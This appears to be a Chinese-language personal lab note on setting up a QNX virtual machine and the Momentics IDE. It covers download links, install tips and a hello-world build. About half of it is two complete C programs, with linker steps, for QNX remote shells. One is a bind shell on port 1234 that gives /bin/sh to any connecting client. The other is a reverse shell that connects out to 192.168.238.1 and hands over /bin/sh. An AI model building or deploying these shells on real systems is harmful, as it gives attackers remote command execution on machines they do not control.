QNX
QNX
环境来源
虚拟机 6.5.0:https://www.jianshu.com/p/2a3d7e80a725
官方 6.4.1 版虚拟机:http://www.qnx.com/download/group.html?programid=20840
IDE:https://download.freedownloadmanager.org/Windows-PC/Momentics-IDE-for-BlackBerry/FREE-2.0.html
环境安装
虚拟机直接打开运行就行了,IDE 直接安装就行了,注意安装好 IDE 之后打开选择 workspace 的时候不能包含空格,然后打开会提示没法下载 SDK,不用慌,关了就行,去界面的 help -> Update API Levels 下载就行
QNX的命令
https://bbs.pediy.com/thread-270996.htm
按着这个手册自己试试就行了,跟 linux 的命令还是有很多重合的
很奇怪,我的镜像里面没有 gdb 啥的,各种命令好像还得看镜像
helloworld
新建一个 QNX C Project
选择架构为 x86
创建好之后看一下 QNX 的 IP,然后运行 qconn
然后给 IDE 加上设备,选择 Window -> Target Navigator
在打开的窗口右键找到这个小摁钮,选择 New QNX Target
先点锤子再点运行
在这里甚至可以直接拖拽上传文件
TCP bind shell
看看咋写程序,结果发现跟 linux 没啥区别,直接用的下面的代码
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
int main(void)
{
int clientfd, sockfd;
int port = 1234; //设置绑定的端口
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = INADDR_ANY;
bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));
listen(sockfd, 1);
clientfd = accept(sockfd, NULL, NULL);
dup2(clientfd, 0);
dup2(clientfd, 1);
dup2(clientfd, 2);
char * const argv[] = {"sh",NULL, NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
需要在项目右键选择 Properties
然后找到 QNX C/C++ Project 里面的 Linker,在 Category 里面选择 Extra libraries,再选择 Nx targetzhege 这个
在 x86 的 lib 里面找到 libsocket.so 打开,然后编译运行就完事了
Reverse TCP shell
同理,代码如下:
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
int sockfd;
int port = 1234;
struct sockaddr_in mysockaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
mysockaddr.sin_family = AF_INET;
mysockaddr.sin_port = htons(port);
mysockaddr.sin_addr.s_addr = inet_addr("192.168.238.1");
connect(sockfd, (struct sockaddr *) &mysockaddr,sizeof(mysockaddr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}